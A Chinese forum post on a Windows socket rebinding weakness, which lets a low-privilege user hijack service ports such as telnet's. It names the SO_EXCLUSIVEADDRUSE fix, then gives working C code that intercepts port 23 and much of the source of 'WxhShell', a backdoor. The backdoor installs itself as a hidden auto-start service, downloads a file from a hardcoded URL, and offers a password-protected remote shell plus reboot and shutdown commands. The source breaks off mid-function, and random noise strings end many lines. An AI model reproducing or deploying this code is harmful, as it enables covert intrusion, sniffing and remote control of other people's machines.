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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iwo$\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )0|):g   
a|.20w5  
  saddr.sin_family = AF_INET; [$:@X V(  
qy9i9$8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #JS`e_3Rr  
SsRVd^=;x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JN^bo(kb  
k/^g*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2FT-}w0;  
#~e9h9  
  这意味着什么?意味着可以进行如下的攻击: ,i![QXZ  
?#ihJt,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q?]w{f(  
1 PIzV:L\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |8'B/ p=  
s!`H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T9y768%  
uN(b.5y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -mC:r&Y>[  
d#7]hF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w`Xg%*]}  
^BNp`x;;`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AA.Ys89V  
x\]z j!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SJ[AiHR  
j!CU  
  #include TU-c9"7M~  
  #include MA"#rOcP  
  #include nrbazyKm  
  #include    2:~cJk{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /=ACdJ  
  int main() Wxk; g  
  { 2YluJ:LN  
  WORD wVersionRequested; ex0oAt^  
  DWORD ret; `{L{wJ:&a  
  WSADATA wsaData; Z fqQ {_  
  BOOL val; L6kZ2-6  
  SOCKADDR_IN saddr; PC0HH  
  SOCKADDR_IN scaddr; O(Td:Zdp  
  int err; '2xcce#  
  SOCKET s; <vLdBfw&N  
  SOCKET sc; i :EO(`  
  int caddsize; c _p[yS  
  HANDLE mt; o oDdV >  
  DWORD tid;   #!1IP~  
  wVersionRequested = MAKEWORD( 2, 2 ); FdM<;}6T  
  err = WSAStartup( wVersionRequested, &wsaData ); g~|y$T  
  if ( err != 0 ) { .xo_}Vw  
  printf("error!WSAStartup failed!\n"); 59~FpjJ  
  return -1; r hZQQOQ  
  } c-`37. J  
  saddr.sin_family = AF_INET; r8F{A6iN  
   h-,?a_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b_ZNI0Hp@  
Seg#s.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k!9=  
  saddr.sin_port = htons(23); *{Yi}d@h(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R @OSqEnr  
  { PJ0Jjoh"Y  
  printf("error!socket failed!\n"); _ flg Q  
  return -1; i<Q& D\Pv  
  } OMi02tSm  
  val = TRUE; mDlCt_h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W0U`Kt&~a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /t$*W\PL@  
  { niQ+EAD  
  printf("error!setsockopt failed!\n"); hi0XVC95  
  return -1; B#Qpd7E+*  
  } (< :mM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |;~nI'0O])  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p!QR3k.9s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  I}rGx  
h&q=I.3O|?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b24di  
  { wFp~  
  ret=GetLastError(); 2*Va9HP!q  
  printf("error!bind failed!\n"); f@h2;An$w  
  return -1; TG4^_nRl  
  } iF8@9m  
  listen(s,2); XRtyC4f  
  while(1) IL2e6b  
  { wG;}TxrLS  
  caddsize = sizeof(scaddr); XNKtL]U}$  
  //接受连接请求 g(KK9Unu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n}VbdxlN  
  if(sc!=INVALID_SOCKET) ~37R0`C  
  { 48H5_9>:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); loR,XW7z  
  if(mt==NULL) )CFk`57U  
  { f_~}X#._  
  printf("Thread Creat Failed!\n"); =obt"K%n  
  break; PIgGXNo  
  } 'w'Dwqhmr  
  } U 7EHBW  
  CloseHandle(mt); Bl=nj.g  
  } 1bT' u5&  
  closesocket(s); ZUv ZN f  
  WSACleanup(); E1^aAlVSD  
  return 0; yB 1I53E  
  }   !?S5IGLOj  
  DWORD WINAPI ClientThread(LPVOID lpParam) FK-}i|di  
  { wEZ,49  
  SOCKET ss = (SOCKET)lpParam; >-UD]?>  
  SOCKET sc; (6e!09P&  
  unsigned char buf[4096]; 8y-e+  
  SOCKADDR_IN saddr; ^6ExW>K  
  long num; PG\\V$}A(  
  DWORD val; 'uws  
  DWORD ret; ,\BfmC_i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2;dM:FHLhO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7qW.h>%WE  
  saddr.sin_family = AF_INET; u![4=w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FP.(E9  
  saddr.sin_port = htons(23); <GSQ2bX[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u4go*#  
  { }~myf\$  
  printf("error!socket failed!\n"); <ur KIu  
  return -1; JJ^iy*v  
  } %j~9O~-  
  val = 100; .@4QkG/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V#p G; ,  
  { 9"m, p  
  ret = GetLastError(); We[<BJ o4  
  return -1; |3s.;w K  
  } *K]>}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eUX@9eML  
  { iSnIBs9\  
  ret = GetLastError(); Kh>?!` lL  
  return -1; 0*37D 5jH  
  } 3FGbQ_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hdo+Qezu:  
  { }".\ 4B$n  
  printf("error!socket connect failed!\n"); tpN]evp|  
  closesocket(sc); /E=h{|  
  closesocket(ss); jXc5fXO N  
  return -1; d,Hf-zJ%~  
  } PpX{+^z-%  
  while(1) L-^# 02  
  {  Bq~AU#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d)`nxnbMeM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Yt\E/*%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YR$tPe  
  num = recv(ss,buf,4096,0); % <8K^|w  
  if(num>0) ^hQ:A4@q  
  send(sc,buf,num,0); s4\SX,  
  else if(num==0) FCsyKdM  
  break; wxdh?sQ  
  num = recv(sc,buf,4096,0); ,apd3X%g  
  if(num>0) q$e T!'x  
  send(ss,buf,num,0); $K=K?BV[  
  else if(num==0) $#6 Fnhh}  
  break; BZ]&uD|f  
  } @t{{Q1  
  closesocket(ss); yVbg,q'?  
  closesocket(sc); ?7rmwy\  
  return 0 ; {jj]K.&  
  } ;`X`c  
Y?"v2~;3  
fY| @{]rx  
========================================================== v*vub#wP  
, V0iMq  
下边附上一个代码,,WXhSHELL K8yWg\K  
TMnT#ypf<5  
========================================================== umq$4}T '$  
z{ Zimr  
#include "stdafx.h" !?tu! M<1?  
$i1>?pb3  
#include <stdio.h> Hl4vLx@  
#include <string.h> Y/?DSo4G  
#include <windows.h> (hD X4;4  
#include <winsock2.h> e8WPV  
#include <winsvc.h> +lY\r +;  
#include <urlmon.h> :Su5  
hr/xpQW  
#pragma comment (lib, "Ws2_32.lib") mI _ 6f~  
#pragma comment (lib, "urlmon.lib") B1 jH.(  
+iZ@.LI  
#define MAX_USER   100 // 最大客户端连接数 `Z;B^Y0  
#define BUF_SOCK   200 // sock buffer pn ~/!y  
#define KEY_BUFF   255 // 输入 buffer HQ-N!pf9  
];YglHH  
#define REBOOT     0   // 重启 "GIg| 3  
#define SHUTDOWN   1   // 关机 [4V|UvKz  
M8 ^ziZY  
#define DEF_PORT   5000 // 监听端口 g%<{G/Tz  
jS5t?0  
#define REG_LEN     16   // 注册表键长度 f"} 0j|Gg  
#define SVC_LEN     80   // NT服务名长度 UC?2mdLt^  
@n ~ND).  
// 从dll定义API RN cI]oJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <E(-QJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o$qFa9|Ec?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yp?a=R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S%a}ip&  
9v5.4a}  
// wxhshell配置信息 x r+E  
struct WSCFG { <+mO$0h"r  
  int ws_port;         // 监听端口 5jj5 7j"  
  char ws_passstr[REG_LEN]; // 口令 %oSfL;W7  
  int ws_autoins;       // 安装标记, 1=yes 0=no MO(5-R`  
  char ws_regname[REG_LEN]; // 注册表键名 MRxo|A{  
  char ws_svcname[REG_LEN]; // 服务名 D%5 {A=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YA/H;707l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W+-f `  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nt,]00S\w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q>+_W2~]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hH|XtQ.n^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &`\kb2uep  
l#J>It\  
}; $D2Ain1  
<iY 9cV|}3  
// default Wxhshell configuration @/ovdf{  
struct WSCFG wscfg={DEF_PORT, [3bwbfHhi  
    "xuhuanlingzhe", sov62wuqU  
    1, ,M9hb<:m  
    "Wxhshell",  hE?GO,  
    "Wxhshell", ./5MsHfbxt  
            "WxhShell Service", sB*h`vs0T  
    "Wrsky Windows CmdShell Service", JqH.QnKcv  
    "Please Input Your Password: ", u0$5Fd&X  
  1, ]>]H:NEq  
  "http://www.wrsky.com/wxhshell.exe", ;Vtpq3  
  "Wxhshell.exe" `(w kqa  
    }; z<C~DH  
Vv* 5{_  
// 消息定义模块 07HX5 Hd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =,} !Ns{k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v2dSC(hRZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H603L|4  
char *msg_ws_ext="\n\rExit."; -^SD6l$  
char *msg_ws_end="\n\rQuit."; s$=B~l  
char *msg_ws_boot="\n\rReboot..."; fjeE.  
char *msg_ws_poff="\n\rShutdown..."; B1AF4}~5  
char *msg_ws_down="\n\rSave to "; RAXJsF^5o  
qgY(S}V  
char *msg_ws_err="\n\rErr!"; _|2";.1E  
char *msg_ws_ok="\n\rOK!"; lf7H8k,-  
rO2PbF3  
char ExeFile[MAX_PATH]; &opH\wa  
int nUser = 0; )F9V=PJE  
HANDLE handles[MAX_USER]; uma9yIk  
int OsIsNt; t3h \.(mq  
~NJLS-  
SERVICE_STATUS       serviceStatus; /(}l[jf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kQ:>j.^e  
#IciNCIrG  
// 函数声明 3ks|  
int Install(void); hc~#l#  
int Uninstall(void); rBL_]\$7}  
int DownloadFile(char *sURL, SOCKET wsh); hrtN.4p[  
int Boot(int flag); I[YfF  
void HideProc(void); e[Ul"pMvS`  
int GetOsVer(void); r|sy_Sk/{  
int Wxhshell(SOCKET wsl); <MDFf nj  
void TalkWithClient(void *cs); c9TkIe  
int CmdShell(SOCKET sock); [E&"9%K  
int StartFromService(void); Tu T=  
int StartWxhshell(LPSTR lpCmdLine); B\~3p4S  
085 ^!AZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m~\m"zJ4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); # v/aI*Rl  
9HBx[2&  
// 数据结构和表定义 k@X As  
SERVICE_TABLE_ENTRY DispatchTable[] = [O =)FiY-  
{ "q#g/T  
{wscfg.ws_svcname, NTServiceMain}, yyYbB]D  
{NULL, NULL} vzQmijr-  
}; Lw78v@dY  
dYttse'  
// 自我安装 6(Rq R  
int Install(void) n$VPh/  
{ 3_['[}  
  char svExeFile[MAX_PATH]; a>e 1jM[  
  HKEY key; 2LK*Cv[  
  strcpy(svExeFile,ExeFile); ;@$," P  
nHL>}Yg  
// 如果是win9x系统,修改注册表设为自启动 >!WBl Sy  
if(!OsIsNt) { kO O~%|1CP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O#ajoE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0DjBqh$  
  RegCloseKey(key); *xX0]{49q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;{#M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /t2 <OU9  
  RegCloseKey(key); 4rCqN.J  
  return 0; J*kzJ{vwy*  
    } SOY#, Zu  
  } oZ>]8vw  
} j-\^ }K.&  
else { +=F);;!  
+/ d8d  
// 如果是NT以上系统,安装为系统服务 aIyY%QT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MhXm-<4  
if (schSCManager!=0) k-p7Y@`+a  
{ VHkrPJ[  
  SC_HANDLE schService = CreateService H5rNLfw '  
  ( C3 c|@7FU  
  schSCManager, h3 ZL0Fi*  
  wscfg.ws_svcname, z[I/ AORl  
  wscfg.ws_svcdisp, ,}$x'8v  
  SERVICE_ALL_ACCESS, %1l80Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q+=@kXs>+  
  SERVICE_AUTO_START, # SOj4W  
  SERVICE_ERROR_NORMAL, bSKV|z/x  
  svExeFile, e(5Px!B  
  NULL, {.[,ee-)9  
  NULL, gG|1$  
  NULL, D+nj[8y  
  NULL, [UrS%]OSR  
  NULL ~ .=HN}E  
  ); oEf^o*5(  
  if (schService!=0) )Syf5I  
  { G\+MT(&5  
  CloseServiceHandle(schService); >TVd*S  
  CloseServiceHandle(schSCManager); &dMSX}t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z#t.wWSq  
  strcat(svExeFile,wscfg.ws_svcname); 246!\zf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mLdyt-1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eyp\h8!u_  
  RegCloseKey(key); hndRg Co  
  return 0; bGLp0\0[  
    } >.sN?5}y  
  } z:? <aT  
  CloseServiceHandle(schSCManager); {dH<Un(4Z  
} Z4tq&^ :c=  
} <J uJ`t  
3S21DC@Y  
return 1; xVo)!83+Q  
} "uNxKLDB  
^qy-el  
// 自我卸载 _A~gqOe  
int Uninstall(void) \r&@3a.>  
{ nFn`>kQ  
  HKEY key; ho=]'MS|  
{:j!@w3  
if(!OsIsNt) { d|HM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f@X*Tlx^|  
  RegDeleteValue(key,wscfg.ws_regname); QxL FN(d  
  RegCloseKey(key); =C}<0<"iF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lBC-G*#  
  RegDeleteValue(key,wscfg.ws_regname); zIm!8a  
  RegCloseKey(key); tOVm~C,R  
  return 0; 0(6`dr_  
  } gx.]4 v  
} lt"*y.%@b  
} [l{eJ /W  
else { r\D8_S_  
C\h<02  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )}lV41u  
if (schSCManager!=0) Gi2Ey37]O  
{ O/~^}8TLL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f.CI.aozW  
  if (schService!=0) K?I&,t_*R  
  { ~n\ea:.  
  if(DeleteService(schService)!=0) { -L3RzX  
  CloseServiceHandle(schService); ^@> Qiy  
  CloseServiceHandle(schSCManager); 2C&%UZim;P  
  return 0; Q*(C)/QW  
  } D'+8]B  
  CloseServiceHandle(schService); >C66X?0cd  
  } 1W7BN~p14  
  CloseServiceHandle(schSCManager); (`*wiu+i  
} I'YotV7  
} f ebh1rUX  
S!cXc/H-R  
return 1; 1i2O]e!  
} p$ <qT^]&  
a06q-3zw  
// 从指定url下载文件 %tLq&tyeY  
int DownloadFile(char *sURL, SOCKET wsh) Jp0.h8i  
{ jXR+>=_  
  HRESULT hr; <rF  
char seps[]= "/"; 7mBL#T2   
char *token; >4b39/BM  
char *file; z5/O8}Gz@  
char myURL[MAX_PATH]; </p.OaNe  
char myFILE[MAX_PATH]; \]El%j4  
u&bU !ZI  
strcpy(myURL,sURL); tsD^8~ t|h  
  token=strtok(myURL,seps); 55\mQ|.Jn  
  while(token!=NULL) dG+xr!  
  { *@^0xz{\z  
    file=token; tTt~W5lo  
  token=strtok(NULL,seps); TQH#sx  
  } +Eg# 8/q  
}lVUa{ubf  
GetCurrentDirectory(MAX_PATH,myFILE); E(#2/E6  
strcat(myFILE, "\\"); h='=uj8o5  
strcat(myFILE, file); uU s>/+  
  send(wsh,myFILE,strlen(myFILE),0); .EwK>ro4  
send(wsh,"...",3,0); H'>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7m:,-xp  
  if(hr==S_OK) i/z7a%$   
return 0; ],|B4\b;  
else UJ:B:hh''  
return 1;  j C?  
<i-RF-*S  
} l<?wB|1'  
NBX/V^  
// 系统电源模块 <Z;BB)I&C`  
int Boot(int flag) 70eN]OY  
{ WTx;,TNG  
  HANDLE hToken; L8Q!6oO=<  
  TOKEN_PRIVILEGES tkp; r.5F^   
(Bz(KyD[  
  if(OsIsNt) { u!W00;`L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iqeGy&F-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ok!{2$P8U9  
    tkp.PrivilegeCount = 1; &@+; ]t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rv:O|wZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "5K: "m  
if(flag==REBOOT) { ^da-R;o]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AP%h!b5v  
  return 0; ";]m]PRAam  
} QTH yH   
else { U^D7T|P$V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b8&9pLl  
  return 0; 6s;x@g]  
} }=gGs  
  } <*P1Sd.  
  else { &3V4~L1aEg  
if(flag==REBOOT) { g,nEiL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XJ9>a-{  
  return 0; .anL}OA_q  
} mf#oa~_  
else { WyP1"e^ 9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZUycJ-[  
  return 0; [aC(Ga}  
} }- Sr@bE  
} {;U:0BPI3  
Nsq%b?#  
return 1; =[kv@ p  
} 9}N*(PI  
zPe .  
// win9x进程隐藏模块 >\ W" 3.  
void HideProc(void) 0dW1I|jR  
{ 9EEHLx"  
H@zpw1fH+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ) =[Tgh  
  if ( hKernel != NULL ) 0U'r ia:$  
  { <,{v>vlw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zh@\+1]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f+ &yc'[  
    FreeLibrary(hKernel); 0W)_5f&  
  } n !QjptQ  
N@}U;x}  
return; >:=TS"}yS}  
} 2r,fF<WQ  
15COwc*k  
// 获取操作系统版本 ?4_;9MkN  
int GetOsVer(void) _[ x(p6Xp  
{ 8'y|cF%U  
  OSVERSIONINFO winfo; 8Bhng;jX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); < qBPN{'a"  
  GetVersionEx(&winfo); dZ*o H#B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LBg#KQ @  
  return 1; )lbF'.i  
  else pmC@ fB  
  return 0; vd~O:=)4  
} x{m)I <.:  
4[?Q*f!  
// 客户端句柄模块 ep5aBrN]"  
int Wxhshell(SOCKET wsl) L>B0%TP^  
{ wP%;9y2B  
  SOCKET wsh; <:?&}'aA  
  struct sockaddr_in client; X*T9`]l6  
  DWORD myID; &("?6%GC  
&7 ,wdG  
  while(nUser<MAX_USER) T*oH tpFj#  
{ aD4ln]sFxG  
  int nSize=sizeof(client); #r1x0s40D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gU`QW_{  
  if(wsh==INVALID_SOCKET) return 1; 9} vWTt0  
q9OIw1xQr*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k@w&$M{tPF  
if(handles[nUser]==0) E^g6,Y:i9  
  closesocket(wsh); #\}hN~@F  
else X_h+\ 7N>  
  nUser++; YXvKDw'95  
  } .}tL:^'~o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @wo9;DW`  
&c]x;#-y  
  return 0; ;j$84o{  
}  *q^'%'  
! M bRI  
// 关闭 socket $z<CkMP!U7  
void CloseIt(SOCKET wsh) og>f1NwS[  
{ bHp|> g  
closesocket(wsh); 9DIGK\  
nUser--; L8V'mUyD  
ExitThread(0); !o`al` q'  
} vOqT Ld  
j1BYSfX'  
// 客户端请求句柄 ?}W:DGudZ  
void TalkWithClient(void *cs) ?B-aj  
{ ,yB-jk?  
D!:Qy@Zw  
  SOCKET wsh=(SOCKET)cs; b c+' n  
  char pwd[SVC_LEN]; hJ|z8Sy@1  
  char cmd[KEY_BUFF]; TqWvHZX  
char chr[1]; ag3T[}L z  
int i,j; PgVM>_nHk  
ar6Z?v$  
  while (nUser < MAX_USER) { 3LEN~ N}  
DU;]Q:r{  
if(wscfg.ws_passstr) { A) qOJ(OEz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '8dqJ`Gj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pPIH`Iq  
  //ZeroMemory(pwd,KEY_BUFF); &P\T{d2"  
      i=0; 9Vp$A$7M  
  while(i<SVC_LEN) { }>grGr%oR  
pD){K  
  // 设置超时 dZZHk  
  fd_set FdRead; Q[}mH: w  
  struct timeval TimeOut; =14pEe  
  FD_ZERO(&FdRead); =~R 0U  
  FD_SET(wsh,&FdRead); oL<^m?-u  
  TimeOut.tv_sec=8; &R 0BuFL8  
  TimeOut.tv_usec=0; QII>XJ9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 bgx;z9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l!`m}$  
c0tv!PSw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d~.#KS  
  pwd=chr[0]; A0'Yfuie  
  if(chr[0]==0xd || chr[0]==0xa) { b+{yF  
  pwd=0; c^m}ep\F5L  
  break; ?A]:`l_"  
  } ](%-5G1<  
  i++; hGPjH=^EM  
    } S:Hg =|R  
9X!OQxmg  
  // 如果是非法用户,关闭 socket J H6\;G6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P,,@&* :  
} `TAhW  
eQMY3/#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W4Zi?@L>'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c: _l+CgeH  
{uq  
while(1) { T@X!vCjf6  
qg+ 8i9Y!  
  ZeroMemory(cmd,KEY_BUFF); qF>}"m  
*r[PZ{D+  
      // 自动支持客户端 telnet标准   ;X\,-pjv  
  j=0; SC'fT!  
  while(j<KEY_BUFF) { 1;SWfKU?.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c\n\gQ:LQ  
  cmd[j]=chr[0]; `2 {x 8A  
  if(chr[0]==0xa || chr[0]==0xd) { < =sO@0(<  
  cmd[j]=0; K4y4!zz  
  break; `^RpT]S  
  } D(yRI  
  j++; Uh*V>HA#  
    } B1 'Ds  
&g|-3)A  
  // 下载文件 {D$#m  
  if(strstr(cmd,"http://")) { sY=$\hj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R\)pW9)  
  if(DownloadFile(cmd,wsh)) CmM K\R.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8kZ>w(L  
  else z0a=A:+/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F $B _;G  
  } cu.f]'  
  else { Ow<=K:^  
$5:j" )$,  
    switch(cmd[0]) { waldLb>7D  
  k/cQJz  
  // 帮助 ?PLf+S  
  case '?': { Hcuvu[)T"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )V} t(>V  
    break; sAWUtJ  
  } UZv^3_,qz  
  // 安装 IrJCZsk  
  case 'i': { M~=9ym  
    if(Install()) :4/RB%)"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [.dF)I3  
    else mm'Pe4*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ux'!1mN  
    break; a//<S?d$:  
    } o[0Cv*  
  // 卸载 E\5t&jZr  
  case 'r': { !Mceg  
    if(Uninstall()) fC52nK&T8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 rV)JA  
    else #D&eov?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =rGjOb3+  
    break; pvD\E  
    } SVo:%mX  
  // 显示 wxhshell 所在路径 U)o(}:5xF  
  case 'p': { ?x=;?7  
    char svExeFile[MAX_PATH]; LDx1@a|83  
    strcpy(svExeFile,"\n\r"); +.:- :  
      strcat(svExeFile,ExeFile); &V:iy  
        send(wsh,svExeFile,strlen(svExeFile),0); gYw4YP0Gz  
    break; z`y!C3w<  
    } ilHZx2 k  
  // 重启 iO~3rWQ  
  case 'b': { JT#jJ/^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {rBS52,Z#  
    if(Boot(REBOOT)) p~6/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { owK~  
    else { fKb8)PDP  
    closesocket(wsh); Z`Rrv$M!  
    ExitThread(0); Nyip]VwMJ  
    } uPQ:}zL2  
    break; ^giseWR(  
    } '1_CMr  
  // 关机 $OldHe[p  
  case 'd': { gDa}8!+i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =`Pgo5A  
    if(Boot(SHUTDOWN)) sEm-Td+A5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mfc\w'  
